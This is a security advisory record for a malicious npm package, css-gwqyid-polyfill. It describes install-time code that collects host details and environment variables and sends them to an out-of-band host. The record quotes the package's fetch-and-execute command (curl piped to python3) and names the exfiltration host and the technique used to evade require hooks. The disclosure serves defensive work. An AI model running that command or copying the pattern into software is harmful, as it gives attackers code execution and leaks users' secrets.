mal-2026-17574
Vulnerability from ossf_malicious_packages
-= Per source details. Do not edit below this line.=-
Source: amazon-inspector (3a81a389193175e49648e711d4eb83ebcbbd0b51e1b7a6677ceb338c3398dc19)
thunderboltRegistry.js executes an IIFE on module load that collects host reconnaissance (id, whoami, full process environment via env, and ifconfig/ip addr output) and sends each result as a GET query-string to the hardcoded out-of-band host https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/, keyed by os.hostname(). The same IIFE invokes execSync("curl -L https://appsecc.com/py | python3") to fetch and execute an opaque remote Python payload with the installer's privileges, tagging the output cmd=reverse-shell before exfiltrating it to the same oastify host. The payload deletes its own entries from require.cache and resolves child_process through three alternative paths (plain name, node: prefix, and a freshly constructed Module instance) to evade monkey-patched require hooks. The package's advertised identity as a CSS/Thunderbolt polyfill does not correspond to any code of that nature in the file and functions as a cover story for the recon, fetch-and-execute, and sandbox-evasion logic.
- CWE-506 - The product contains code that appears to be malicious in nature.
{
"affected": [
{
"database_specific": {
"cwes": [
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
}
],
"indicators": {
"evidence_files": [
{
"path": "thunderboltRegistry.js",
"sha256": "098fac4f87d662808d1fcb744c79416ac42dd1ae997a1f96a998f2f3b46ce699",
"tlsh": "e07131b5b99df02166c33438db7f5049b4bb86672c6caee0740899b01f7585c01ba6f4"
}
],
"package_integrity": [
{
"filename": "css-gwqyid-polyfill-1.0.0.tgz",
"hashes": {
"sha1": "83edb5270f4a290ceb656134456b7a18e0d464f1",
"sha512_sri": "sha512-FPNsv0P8oSXboP+SHokFm5vBYbxmqU3vHf1y3Zkb5bJEyL589phOIEhJhbhFoT2ZaLJLAQCpdQeh++o16u3JAg=="
}
}
]
}
},
"package": {
"ecosystem": "npm",
"name": "css-gwqyid-polyfill"
},
"versions": [
"1.0.0"
]
}
],
"credits": [
{
"contact": [
"inspector-research@amazon.com"
],
"name": "Amazon Inspector",
"type": "FINDER"
}
],
"database_specific": {
"malicious-packages-origins": [
{
"id": "IN-MAL-2026-021076",
"import_time": "2026-10-05T16:22:56.803931324Z",
"modified_time": "2026-10-05T16:14:13Z",
"sha256": "3a81a389193175e49648e711d4eb83ebcbbd0b51e1b7a6677ceb338c3398dc19",
"source": "amazon-inspector",
"versions": [
"1.0.0"
]
}
]
},
"details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (3a81a389193175e49648e711d4eb83ebcbbd0b51e1b7a6677ceb338c3398dc19)\nthunderboltRegistry.js executes an IIFE on module load that collects host reconnaissance (`id`, `whoami`, full process environment via `env`, and `ifconfig`/`ip addr` output) and sends each result as a GET query-string to the hardcoded out-of-band host https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/, keyed by `os.hostname()`. The same IIFE invokes `execSync(\"curl -L https://appsecc.com/py | python3\")` to fetch and execute an opaque remote Python payload with the installer\u0027s privileges, tagging the output `cmd=reverse-shell` before exfiltrating it to the same oastify host. The payload deletes its own entries from `require.cache` and resolves `child_process` through three alternative paths (plain name, `node:` prefix, and a freshly constructed `Module` instance) to evade monkey-patched require hooks. The package\u0027s advertised identity as a CSS/Thunderbolt polyfill does not correspond to any code of that nature in the file and functions as a cover story for the recon, fetch-and-execute, and sandbox-evasion logic.\n",
"id": "MAL-2026-17574",
"modified": "2026-10-05T16:14:13Z",
"published": "2026-10-05T16:14:13Z",
"references": [
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/css-gwqyid-polyfill/v/1.0.0"
}
],
"schema_version": "1.7.4",
"summary": "Malicious code in css-gwqyid-polyfill (npm)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.